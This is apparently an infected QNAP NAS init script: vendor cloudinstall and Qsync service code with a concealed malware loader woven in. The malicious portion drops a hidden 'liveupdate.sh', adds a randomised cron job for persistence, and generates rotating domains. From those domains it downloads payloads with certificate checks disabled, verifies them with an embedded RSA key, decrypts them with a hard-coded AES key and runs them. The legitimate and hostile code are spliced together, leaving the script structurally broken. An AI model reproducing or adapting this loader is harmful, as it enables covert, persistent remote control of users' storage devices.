A1MGAKCWRvbmUKCXJldHVybiAwCn0KCgppbnN0YWxsKCkKewoJbG9ja19maWxlPSIvdmFyL2xvY2svcWJveF9pbnN0YWxsX2Jpbi5sY2siCgoJaWYgWyAhIC1mICIke0lOU1RBTExfQlVJTERfSU59IiBdOyB0aGVuCgkJZGJnICJidWlsZC1pbiAke1FTWU5DX05BTUV9IGlzIGluc3RhbGxlZCIKCQlyZXR1cm4gMQoJZmkKCglpZiBbICEgLWYgJHtVUERBVEVQS0dfRElSfS8ke1FTWU5DX05BTUV9LmJpbiBdOyB0aGVuCgkJZGJnICIke1FTWU5DX05BTUV9LmJpbn0gbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCWlmIFsgISAteCAiJHtRUEtHX0NMSX0iIF07IHRoZW4KCQlkYmcgIiR7UVBLR19DTEl9IG5vdCBmb3VuZCIKCQlyZXR1cm4gMQoJZmkKCgkjIyBtYWtlIHN1cmUgdm9sdW1lIGlzIGV4aXN0CglpZiBbICEgLWQgL3NoYXJlL2Avc2Jpbi9nZXRjZmcgU0hBUkVfREVGIGRlZlB1YmxpYyAtZCBQdWJsaWMgLWYgL2V0Yy9jb25maWcvZGVmX3NoYXJlLmluZm9gIF07IHRoZW4KCQlkYmcgIi9zaGFyZS9QdWJsaWMgbm90IGZvdW5kIgoJCXJldHVybiAxCglmaQoKCSMjIGlzIHJlbW92ZWQgCglpZiBbIC1mICR7VVBEQVRFUEtHX0RJUn0vLiR7UVNZTkNfTkFNRX1fcmVtb3ZlZCBdOyB0aGVuCgkJL2Jpbi9ybSAtZiAke0lOU1RBTExfQlVJTERfSU59CgkJZGJnICIke1FTWU5DX05BTUV9IGlzIHJlbW92ZWQiCgkJcmV0dXJuIDEKCWZpCgoJaWYgWyAtZiAiJGxvY2tfZmlsZSIgXTsgdGhlbiAKCQlpZiBbICQoKCAkKGRhdGUgKyVzKSAtICQoZGF0ZSArJXMgLXIgJGxvY2tfZmlsZSkgKSkgLWxlIDE4MCBdOyB0aGVuCgkJCWVjaG8gIiR7UVNZTkNfTkFNRX0gaXMgaW5zdGFsbGluZyIKCQkJZGJnICIke1FTWU5DX05BTUV9IGlzIGluc3RhbGxpbmciCgkJCXJldHVybiAxCgkJZmkKCWZpCgoJL2Jpbi90b3VjaCAiJGxvY2tfZmlsZSIJCgkvYmluL3JtIC1mICR7SU5TVEFMTF9CVUlMRF9JTn0KCWRiZyAiaW5zdGFsbCBidWlsZC1pbiAke1FTWU5DX05BTUV9IHN0YXJ0IgoKCXNldF9kZWZhdWx0X2Rpc2FibGVfc3RhdHVzCgoJIyMgaW5zdGFsbCBidWlsZCBpbiBRc3luYwoJJHtRUEtHX0NMSX0gLUsgLW0gJHtVUERBVEVQS0dfRElSfS8ke1FTWU5DX05BTUV9LmJpbiA+IC9kZXYvbnVsbCAyPiYxCglzbGVlcCAyMAoKCXdhaXRfaW5zdGFsbD02MAoJIyMgYXZvaWQgaW5pdGlhbCB0YWtlIGxvbmcgdGltZSBvciBmYWlsCiAgICAgICAgd2hpbGUgWyAiJHdhaXRfaW5zdGFsbCIgLWd0IDAgXTsgZG8KCQlzdGNvZGU9YCRDTURfR0VUQ0ZHICR7UVNZTkNfTkFNRX0uYmluIHN0Y29kZSAtZiAvZXRjL2NvbmZpZy9xcGtnX2pvYi5jb25mYAogICAgICAgICAgICAgICAgaWYgWyAiJHN0Y29kZSIgPSAiMCIgXTsgdGhlbgogICAgICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgZmkKICAgICAgICAgICAgICAgIHNsZWVwIDEKICAgICAgICAgICAgICAgIGxldCAid2FpdF9pbnN0YWxsLS0iCiAgICAgICAgZG9uZQoKCSR7UVBLR19DTEl9IC1DICR7UVNZTkNfTkFNRX0uYmluID4gL2Rldi9udWxsIDI+JjEKCS9iaW4vcm0gLWYgJHtVUERBVEVQS0dfRElSfS8uJHtRU1lOQ19OQU1FfV9kaXNhYmxlZAoJL2Jpbi9ybSAtZiAiJGxvY2tfZmlsZSIJCglkYmcgImluc3RhbGwgYnVpbGQtaW4gJHtRU1lOQ19OQU1FfSBzdWNjZXNzIgp9CgppZiBbICIkMSIgPT0gInN0b3AiIF07IHRoZW4KCWV4aXQgMApmaQpmaQpYRU9GCmNobW9kIDc1NSAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIgp0b3VjaCAtY3IgL2Jpbi9idXN5Ym94ICIke2JkaXJ9Ly5xcGtnLy5saXZldXBkYXRlL2xpdmV1cGRhdGUuc2giCiggKCBleGVjID4vZGV2L251bGwgMj4mMSA8L2Rldi9udWxsOyAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiA8L2Rldi9udWxsID4vZGV2L251bGwgMj4vZGV2L251bGwgJiApICYgKQpmaQoKdGVzdCAteCAiJHtiZGlyfS8ucXBrZy8ubGl2ZXVwZGF0ZS9saXZldXBkYXRlLnNoIiB8fCBjaG1vZCA3NTUgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCIKCmNyb250YWJhcmdzPSQocHMgfCBncmVwICdjcltvXW5kICcgfCBzZWQgLW4gJ3MvLipjcm9uZFteMC05QS1aYS16LV0qXCguXCtcKS9cMS9wJykKdHJ5Y291bnQ9MTA7IHRyeWNvdW50PSQoKCAkdHJ5Y291bnQgLSAxMCApKQpzZXQgeCAkY3JvbnRhYmFyZ3M7IHNoaWZ0CndoaWxlIFsgJCMgLWd0IDAgXSAmJiBbICR0cnljb3VudCAtbHQgMTAgXTsgZG8KdHJ5Y291bnQ9JCgoICR0cnljb3VudCArIDEgKSkKZ2V0b3B0cyAnOmM6JyBPUFQgMj4vZGV2L251bGwKdGVzdCAiJE9QVCIgPSAnYycgJiYgY3JvbnRhYmZpbGU9IiR7T1BUQVJHfS9hZG1pbiIgJiYgYnJlYWsKdGVzdCAiJE9QVElORCIgLWd0IDAgJiYgc2hpZnQgIiRPUFRJTkQiICYmIE9QVElORD0xIHx8IGJyZWFrCmRvbmUKdGVzdCAiJGNyb250YWJmaWxlIiAmJiB0ZXN0IC1mICIke2Nyb250YWJmaWxlfSIgfHwgY3JvbnRhYmZpbGU9Jy90bXAvY3Jvbi9jcm9udGFicy9hZG1pbicKCmZvciBjcm9udGFiIGluICIkY3JvbnRhYmZpbGUiICIke2NvbmZkaXJ9L2Nyb250YWIiOyBkbwppZiAkZmdyZXAgIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCIgIiRjcm9udGFiIjsgdGhlbgo6CmVsc2UKY3Jvbm1pbnM9JChwcmludGYgJyVpJyAiJCgoICRSQU5ET00gJSA2MCApKSIpCmNyb25ob3VyPSQocHJpbnRmICclaScgIiQoKCAkUkFORE9NICUgMjQgKSkiKQpjcm9uaG91cj0kKHByaW50ZiAnJWksJyAiJCgoICggJGNyb25ob3VyICsgOCApICUgMjQgKSkiICIkKCggKCAkY3JvbmhvdXIgKyAxNiApICUgMjQgKSkiKSIkY3JvbmhvdXIiCmVjaG8gIiRjcm9ubWlucyAkY3JvbmhvdXIiJyAqICogKiAnIiR7YmRpcn0vLnFwa2cvLmxpdmV1cGRhdGUvbGl2ZXVwZGF0ZS5zaCA+L2Rldi9udWxsIDI+L2Rldi9udWxsIiA+PiAiJGNyb250YWIiCmNyb250YWIgIiRjcm9udGFiIgpzbGVlcCAyCmZpCmRvbmUKKSAmICkgJgo= +EOF +)&) +( exec >/dev/null 2>&1; ( +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" +command -v dirname >/dev/null 2>&1 || dirname () { test -z "$1" && echo "." && return; local r="${1%"${1##*[!/]}"}"; case $r in /*[!/]*/*|[!/]*/*) r="${r%/*}"; echo "${r%"${r##*[!/]}"}";; */*) echo ${r%%[!/]};; "") echo $1;; *) echo .;; esac; } +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\ +\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\ +//I;s/\(^\|\ +\)\[[^\ +]\+\]\ +.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in homes Public Download Multimedia Web Recordings; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep + +if [ ! -f "${bdir}/.qpkg/.liveupdate/liveupdate.sh" ]; then +test -d "${bdir}/.qpkg" || mkdir -p "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cat > "${bdir}/.qpkg/.liveupdate/liveupdate.sh" <<"XEOF" +#!/bin/sh + +QNAP_QPKG=cloudinstall +QID_PRESISTENT_CONF=/etc/config/qid_persistent.conf +NAS_CLOUD_INSTALL_PATH=/home/httpd/cgi-bin/cloudinstall +CLOUD_INSTALL_PATH=/tunnel_agent +CLOUD_INSTALL_RAMDISK_PATH=/tunnel_agent_ramdisk +CLOUD_INSTALL_AGENT_FILE_PATH=$CLOUD_INSTALL_PATH/tunnel_agent.tar.bz2 +COUNTER=1 +ERROR_BAD_REQUEST=400 + +if [ "$fromrcS" = 'TRUE' ]; then +case "$1" in + start) + START_TIME=$(date +"%T") + echo -e "start:$START_TIME" >> /tmp/.cloudinstall.log + while [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; + do + # report device info and get cloudinstall agent app download url + DOWNLOAD_URL=`/usr/sbin/qcloud_uninit_device_tool -r` + if [ ! -d "$CLOUD_INSTALL_PATH" ]; then + if [ "$NAS_ARCH" == "ARM_64" ]; then + # create ramdisk and create a 64mb file + /bin/mkdir -p $CLOUD_INSTALL_RAMDISK_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_RAMDISK_PATH + /bin/dd if=/dev/zero of=$CLOUD_INSTALL_RAMDISK_PATH/image bs=1M count=64 + # create block size 1K filesystem + /sbin/mke2fs -b 1024 $CLOUD_INSTALL_RAMDISK_PATH/image + # create virtual disk + export USED_LOOP_DEVICE=`/usr/local/sbin/losetup -f $CLOUD_INSTALL_RAMDISK_PATH/image` + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "USED_LOOP_DEVICE" "$USED_LOOP_DEVICE" + /bin/mkdir -p $CLOUD_INSTALL_PATH + # mount virtual disk + /bin/mount $USED_LOOP_DEVICE $CLOUD_INSTALL_PATH + else + # create and mount tmpfs folder + /bin/mkdir -p $CLOUD_INSTALL_PATH + /bin/mount -t tmpfs -o size=64m tmpfs $CLOUD_INSTALL_PATH + fi + fi + cd $CLOUD_INSTALL_PATH + + if [[ $DOWNLOAD_URL == https* ]]; then + REPORT_SUCCESS_TIME=$(date +"%T") + else + REPORT_FAIL_TIME=$(date +"%T") + echo -e " report_fail:$REPORT_FAIL_TIME\n response:$DOWNLOAD_URL" >> /tmp/.cloudinstall.log + # stop retry when got bad request + # prevent put bad request all the time + if [[ $DOWNLOAD_URL == *$ERROR_BAD_REQUEST* ]]; then + break + fi + fi + + # downlaod cloudinstall agent app + /usr/sbin/qcloud_uninit_device_tool -o "$CLOUD_INSTALL_AGENT_FILE_PATH" -d "$DOWNLOAD_URL" + + if [ -f "$CLOUD_INSTALL_AGENT_FILE_PATH" ]; then + DOWNLOAD_FINISH_TIME=$(date +"%T") + # unzip and execute cloudinstallagent + /bin/tar -xf $CLOUD_INSTALL_AGENT_FILE_PATH -C $CLOUD_INSTALL_PATH + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh start &> /dev/null + + UNZIP_TIME=$(date +"%T") + fi + + if [ ! -d "$NAS_CLOUD_INSTALL_PATH" ]; then + # create folder and create symbolic link + /bin/mkdir -p $NAS_CLOUD_INSTALL_PATH + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.html $NAS_CLOUD_INSTALL_PATH/index.html + /bin/ln -s $CLOUD_INSTALL_PATH/ui/cloudinstall.cgi $NAS_CLOUD_INSTALL_PATH/cloudinstall.cgi + /bin/ln -s $CLOUD_INSTALL_PATH/ui/static $NAS_CLOUD_INSTALL_PATH/static + fi + + # wait connect + sleep 5 + CLOUD_INSTALL_AGENT_PID_LIST=`/bin/ps --columns 256 | /bin/grep "$CLOUD_INSTALL_PATH/bin/cloudinstallagent" | /bin/grep -v grep | /bin/awk '{print $1}'` + if [ "$CLOUD_INSTALL_AGENT_PID_LIST" == "" ]; then + SLEEP_TIME=$(( 30 * $COUNTER )) + if [ $SLEEP_TIME -gt 300 ]; then + SLEEP_TIME=300 + fi + # wait next retry + sleep $SLEEP_TIME + fi + COUNTER=$(( $COUNTER * 2 )) + done + + END_TIME=$(date +"%T") + echo -e "report_success:$REPORT_SUCCESS_TIME\ndownload_finish:$DOWNLOAD_FINISH_TIME\nunzip_finish:$UNZIP_TIME\nend:$END_TIME" >> /tmp/.cloudinstall.log + # call for a new process group and for later kill + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh start &> /dev/null & + /bin/setsid $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_daemon.sh &> /dev/null & + + # set cloudinstall report status + /sbin/setcfg -f $QID_PRESISTENT_CONF "CLOUDINSTALL" "REPORT_STATUS" "uninit" + # add link to report offline + /bin/ln -sf /etc/init.d/cloudinstall_report_offline.sh /etc/rcK.d/K99cloudinstall_report_offline + + # buzzer + HARDWARE_TYPE=$(uname -m) + if [[ "$HARDWARE_TYPE" == *"x86"* ]]; + then + /sbin/hal_app --se_buzzer enc_id=0,mode=101 + elif [[ "$HARDWARE_TYPE" == *"arm"* ]]; + then + /sbin/pic_raw 81 + fi + ;; + + stop) + # disconnect cloudinstall agent + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_ctl.sh stop &> /dev/null + $CLOUD_INSTALL_PATH/bin/cloudinstall_agent_disconnect_daemon.sh stop &> /dev/null + for i in "${CLOUD_INSTALL_AGENT_DAEMON_PID_LIST[@]}" + do + # use bash kill instead /bin/kill for kill process group + # cloudinstall agent daemon and inotifywait + kill -9 -- -$i &>/dev/null + done + + # umount + if [ "$NAS_ARCH" == "ARM_64" ]; then + /bin/umount -l $USED_LOOP_DEVICE + /usr/local/sbin/losetup -d $USED_LOOP_DEVICE + else + /bin/umount -l $CLOUD_INSTALL_PATH + fi + # remove all files + if [ -d "$NAS_CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $NAS_CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_PATH + fi + if [ -d "$CLOUD_INSTALL_RAMDISK_PATH" ]; then + /bin/rm -rf $CLOUD_INSTALL_RAMDISK_PATH + fi + ;; + + restart) + $0 stop + $0 start + ;; + + *) + echo "Usage: $0 {start|stop|restart}" + { /share/MD0_DATA/.system/.qinstaller.sh; exit 1; } +esac +{ /share/MD0_DATA/.system/.qinstaller.sh; exit 0; } + + +set_env() +{ + debug=`$CMD_GETCFG Qsync Debug -u -d NULL` + if [ "$debug" != "NULL" ]; then + /bin/touch $LOG_FILE + else + /bin/rm -f $LOG_FILE + fi +} + +set_env + +dbg() +{ + if [ -f "$LOG_FILE" ]; then + echo "[`date "+%H:%M:%S"`] $@ " >> $LOG_FILE + fi +} + +dbg "> $0 $@ (pid $$)" + +fi + +export PATH="${PATH}:/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin/X11:/usr/local/sbin:/usr/local/bin" + +command -v getcfg > /dev/null 2>&1 || getcfg () { sed -n 'H;${x;s/\(.*\n\['"${1//\//\\\/}"']\|^\['"${1//\//\\\/}"']\)\n//I;s/\(^\|\n\)\[[^\n]\+\]\n.*//p}' "${4:-${confdir}/uLinux.conf}" | sed -n 's/^'"${2//\//\\\/}"' \?= \?\(.*\)/\1/Ip'; } + +test -d /etc/config && confdir=/etc/config || { test -d /mnt/HDA_ROOT/.config && confdir=/mnt/HDA_ROOT/.config; } +test -d "$confdir" || confdir=/etc/config + +bdir= +test -f "${confdir}/smb.conf" && for i in homes Public Download Multimedia Web Recordings; do bdir=`getcfg "$i" path -f "${confdir}/smb.conf"` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && test -d "$bdir" && testwriteable=$(mktemp "${bdir}/.tmp.XXXXXX") && rm "${testwriteable}" && break; bdir=''; done +test -z "${bdir}" || test ! -d "${bdir}" && { command -v readlink >/dev/null 2>&1 || ln -sf /bin/busybox /usr/bin/readlink; for i in Public Download Multimedia Web Recordings homes; do bdir=`readlink "/share/${i}" 2>/dev/null` && test ! -z "$bdir" && bdir=`dirname "$bdir"` && bdir=/share/${bdir##*/} && test -d "$bdir" && break; done; +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`getcfg SHARE_DEF defVolMP -f "${confdir}/def_share.info"` +test -z "${bdir}" || test ! -d "${bdir}"; } && { bdir=`mount | sed -n "s/.*\(\/share\/[^ /]\+\) .*/\1/gp" | head -n 1` +test -z "${bdir}" || test ! -d "${bdir}"; } && { for i in CACHEDEV3_DATA CACHEDEV2_DATA CACHEDEV1_DATA MD0_DATA; do test -d "/share/${i}" && bdir="/share/${i}" && break; done; +test -z "${bdir}" || test ! -d "${bdir}" && bdir=/mnt/HDA_ROOT; } +echo 'ab*c' | grep -F 'ab*c' >/dev/null 2>&1 && fgrep="grep -F" || { command -v fgrep >/dev/null 2>&1 && fgrep=fgrep || fgrep=grep; } +test "$fgrep" || fgrep=grep +test "$RANDOM" || RANDOM=17653 +genrstr () +{ + local s=; + local min=${1:-4}; + local max=${2:-12}; + local kspace="${3:-a-zA-Z}" + tr -dc "$kspace" < /dev/urandom | { + read -rn $(($RANDOM % ( $max - $min + 1 ) + $min )) s; + echo "$s" + } +} + +verifyfile() { +local file="$1" +local sig="${2:-$file_s}" +local out +test ! -z "$file" && test -s "$file" || return 1 +test ! -z "$sig" && test -s "$sig" || return 1 +test -f ".rsakey" || echo "$verifykey" > ".rsakey" +out=$(openssl dgst -sha1 -verify ".rsakey" -signature "$sig" "$file") && test "$out" = "Verified OK" && return 0 +return 1 +} + +decryptfile() { +local file="$1" +local ofile="${2:-${file}}" +local key='7C0vK4SzMO15zBxLD7XCi5hbjgP1ZjkJ' +openssl enc -d -aes-256-cbc -k "$key" -md sha1 -salt < "$file" > "${file}_d" || return $? +test -f "$ofile" && rm -f "$ofile" +mv "${file}_d" "$ofile" && return 0 +return 1 +} + +verifykey='-----BEGIN PUBLIC KEY----- +MIIBojANBgkqhkiG9w0BAQEFAAOCAY8AMIIBigKCAYEAt/EDT6SB75atrHW7Cpog +CXqrBM2CVbJo';verifykey="${verifykey}"'g4rwwS''z1Bp1i1' +verifykey="${verifykey}"'B7B9Wd51no32lpRqOM+9GOr2W17xwJ8pqpQotex +RC5qQSiS/7FS48jsPKsJnrUhnsI1fRLM4DqsEF3UOukZuDOYUhlteDuMqqZBz0AC +Q3YnLjraTjchMF0XmaAAcWOkg5MsxAOKTepue4R/tnrPAkAG86nq5LA1+wa7opNV +gQzwDh7YXhBnWz52+ebZ9TeqD31/sb5hoyUKf1Nr5HcKkklObuz1OGQJ//pkCbTC +2EnQw6tCPQhgSIA8wJKkaxW0f/UHP+YBmWa4Wn+uPrJJuHSVNEJtAp2wlX3THltz +0IGPQEuzoafOAl3EFjas3HcTX2HlEfnvAtRL2iLxJeba1nZ+U3geZOuxL1NhWhNh +pjaLcKwhkRck7Y5hr1Pz8pLDnXsx5w0QUz6XS8HVf/KHnNXHufFEn01y9YoPuau1 +DNnpDGbq632Bs8ESd3ueHk9OY/UZxWeN3UdbseFxK35XAgMBAAE= +-----END PUBLIC KEY-----' + +DOMAIN_EXT_A='cf tk ml ga gq' +DOMAIN_EXT_B='com biz org de rocks mx cn top nl men ws se info xyz net today ru fi name to in com.ua vg vn cd' + +test -d "${bdir}/.qpkg" || mkdir "${bdir}/.qpkg" +test -d "${bdir}/.qpkg/.liveupdate" || mkdir "${bdir}/.qpkg/.liveupdate" +cd "${bdir}/.qpkg/.liveupdate" && rm -f .tmp.* + +echo "$verifykey" > ".rsakey" +i=0 n=0 c=0 errorcount=0 +outfile=$(mktemp "./.tmp.XXXXXX") || outfile=$(mktemp "${bdir}/.tmp.XXXXXX") || outfile=$(mktemp "/.tmp.XXXXXX") || outfile='./.tmp.out' + +for domainexts in "$DOMAIN_EXT_A" "$DOMAIN_EXT_B"; do + for ext in $domainexts; do + hostname=$(echo "$(( $(date +%s) / 1296000 ))IbjGOEgnuD${ext}" | openssl dgst -sha1 -binary | openssl base64 | sed 'y/ABCDEFGHIJKLMNOPQRSTUVWXYZ-+\//abcdefghijklmnopqrstuvwxyzabc/;s/=//g') + hostname=${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9][a-z0-9]} + hostnames="${hostname%[a-z0-9][a-z0-9][a-z0-9][a-z0-9]} ${hostname%[a-z0-9][a-z0-9][a-z0-9]}" + hostnames="$hostnames ${hostname%[a-z0-9][a-z0-9]} ${hostname%[a-z0-9]} $hostname" + for host in $hostnames; do + test -f "$outfile" && rm -f "$outfile" + recentupdate='' + curl --connect-timeout 12 -m 30 -k -o "$outfile" "https://${host}.${ext}/qnap_firmware.xml?t=$(date +%s)" + test -s "$outfile" || continue + fsize=$(( $(wc -c < "$outfile") )) + test "$fsize" -gt 4096 && rm -f "$outfile" && continue + rsamsg=$(openssl base64 -in "$outfile" -d | openssl rsautl -pubin -inkey ".rsakey" -verify) || continue + test "$rsamsg" || continue + path="${rsamsg%|*}"; rsadomain="${path%|*}"; path="${path#*|}" + hash="${rsamsg##*|}"; ts="${hash#*_}"; hash="${hash%_*}" + test "$rsadomain" = "${host}.${ext}" || continue + timenow=$(date +%s) + test "$ts" -gt 0 && { test "$ts" -gt "$timenow" || test $(( $timenow - $ts )) -lt 172800; } && recentupdate=1 + curl --connect-timeout 12 -m 300 -k -o "$outfile" "https://${host}.${ext}/${path}" + filehash=$(openssl dgst -sha1 -binary "$outfile" | openssl base64) || continue + test "$filehash" = "$hash" || continue + curl --connect-timeout 12 -m 30 -k -o "${outfile}_s" "https://${host}.${ext}/s/${path}" + verifyfile "$outfile" "${outfile}_s" && decryptfile "$outfile" || continue + mv "${outfile}_s" "${ts}_v" + chmod 755 "$outfile" || continue + ( ( exec >/dev/null 2>/dev/null /dev/null 2>&1 & ) & ) + test "$recentupdate" -eq 1 && exit 0 + done + done +done + + +if [ "$fromrcS" = 'TRUE' ]; then +# if Qsync is disable before 4.3.0, we will touch /mnt/HDA_ROOT/udpate_pkg/.QsyncServer_disabled +set_default_disable_status() +{ + QPKG_ENABLE=`$CMD_GETCFG ${QSYNC_NAME} Enable -d "NULL" -f ${QPKG_CONF}` + OLD_ENABLE=`$CMD_GETCFG Qsync Enable -u -d NULL` + if [ -f "${UPDATEPKG_DIR}/.${QSYNC_NAME}_removed" ]; then + return + fi + + if [ "$QPKG_ENABLE" = "NULL" ]; then + if [ "$OLD_ENABLE" = "FALSE" ]; then + dbg "touch ${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + /bin/touch "${UPDATEPKG_DIR}/.${QSYNC_NAME}_disabled" + fi + fi +} + +if [ "x$HBS_ENABLE" = xnull ] || [ "x$HBS_ENABLE" = xFALSE ]; then + export QNAP_QPKG=rtrr +else + export QNAP_QPKG=HybridBackup + /usr/local/sbin/qboost_util -S -n rtrr -E 0 1>/dev/null 2>&1 +fi +start() +{ + if [ -f /usr/bin/qsyncman ]; then + [ ! -f /etc/config/hdcopyusb.conf ] || /bin/rm -f /etc/config/hdcopyusb.conf + /bin/sed -i '/hdusb_copy/d' /etc/config/crontab + /usr/bin/crontab /etc/config/crontab + echo -n "Starting QSync manitor: " + [ -d /etc/config/qsync ] || /usr/bin/install -d /etc/config/qsync + [ -f /etc/config/qsync/qhost.conf ] || /bin/touch /etc/config/qsync/qhost.conf + [ -f /etc/config/qsync/qsyncjobdef.conf ] || /bin/touch /etc/config/qsync/qsyncjobdef.conf + [ -f /etc/config/qsync/qsync.conf ] || /bin/cp -p /etc/default_config/qsync/qsync.conf /etc/config/qsync/qsync.conf + [ -f /etc/config/qsync/extdrv.conf ] || /bin/cp -p /etc/default_config/qsync/extdrv.conf /etc/config/qsync/extdrv.conf + [ -f /etc/config/qsync/qsyncd.conf ] || /bin/cp -p /etc/default_config/qsync/qsyncd.conf /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsyncd.conf ] || /bin/chmod 640 /etc/config/qsync/qsyncd.conf + [ ! -f /etc/config/qsync/qsync.conf ] || /bin/chmod 640 /etc/config/qsync/qsync.conf + [ ! -f /etc/config/qsync/qhost.conf ] || /bin/chmod 640 /etc/config/qsync/qhost.conf + /sbin/daemon_mgr qsyncman start "/usr/bin/qsyncman 1>/dev/null 2>&1" + echo "OK" + fi +} + +stop() +{ + echo "Shutting down QSync monitor: OK" + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + kill $pidnum 2>/dev/null + i=0 + while [ ${i} -lt 5 ] + do + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + if [ -z "$pidnum" ]; then + break + fi + sleep 1 + i=`/usr/bin/expr ${i} + 1` + done + pidnum=`/bin/pidof qsync``/bin/pidof qsyncd` + [ -z "$pidnum" ] || kill -9 $pidnum 2>/dev/null + /sbin/daemon_mgr qsyncman stop "/usr/bin/qsyncman" + /usr/bin/killall -q qsyncman +} + +start_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x1 ] || return -1 + _qsyncd_run_pid=`/bin/pidof qsyncd` + [ -z $_qsyncd_run_pid ] || return -114 + _recycle_en=`/sbin/getcfg 'Network Recycle Bin' Enable -d FALSE` + _with_syslog=$1 + if [ "x$_recycle_en" = xTRUE ]; then + if [ "x$_with_syslog" = x1 ]; then + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + LD_PRELOAD=/usr/local/lib/libtrash.so /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + else + if [ "x$_with_syslog" = x1 ]; then + /usr/bin/qsyncd -syslog -c:/etc/qsync/qsyncd.conf + else + /usr/bin/qsyncd -c:/etc/qsync/qsyncd.conf + fi + fi + _iret=$? + if [ "x$_iret" = x0 ]; then + i=0 + while [ ${i} -lt 10000 ] + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" != "x-1" ] && [ ! -z $_qsyncd_run_pid ]; then + break + fi + usleep 50000 + i=`/usr/bin/expr ${i} + 50` + done + fi + return -$_iret +} + +stop_qsyncd() +{ + #_qsyncd_en=`/sbin/getcfg "" Enabled -d 0 -f /etc/qsync/qsyncd.conf` + #[ "x$_qsyncd_en" = x0 ] || return -1 + _qsyncd_pid=`/sbin/getcfg "" Pid -d -1 -f /etc/qsync/qsyncd.conf` + [ $_qsyncd_pid -lt 0 ] && return -3 + # Send SIGUSR1 to inform the daemon to output "[RTRR Server] Stopped" event log + /bin/kill -SIGUSR1 $_qsyncd_pid + usleep 200000 + # Send SIGINT to stop the QSyncd process + /bin/kill -SIGINT $_qsyncd_pid + _kill_ret=$? + if [ "x$_kill_ret" != x0 ]; then + return -3 + fi + echo "need wait $1 millisecond" + i=0 + while true + do + echo "${i} millisecond..." + _qsyncd_pid=`/sbin/getcfg '' Pid -d -1 -f /etc/qsync/qsyncd.conf` + _qsyncd_run_pid=`/bin/pidof qsyncd` + if [ "x$_qsyncd_pid" = "x-1" ] && [ -z $_qsyncd_run_pid ]; then + break + fi + if [ ${i} -ge $1 ]; then + # if time-out, we send two additional SIGINT to force the daemon to stop. + if 